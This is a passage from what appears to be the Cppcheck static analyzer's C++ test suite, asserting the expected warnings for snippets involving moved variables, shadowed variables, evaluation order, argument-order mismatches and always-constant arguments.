char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n 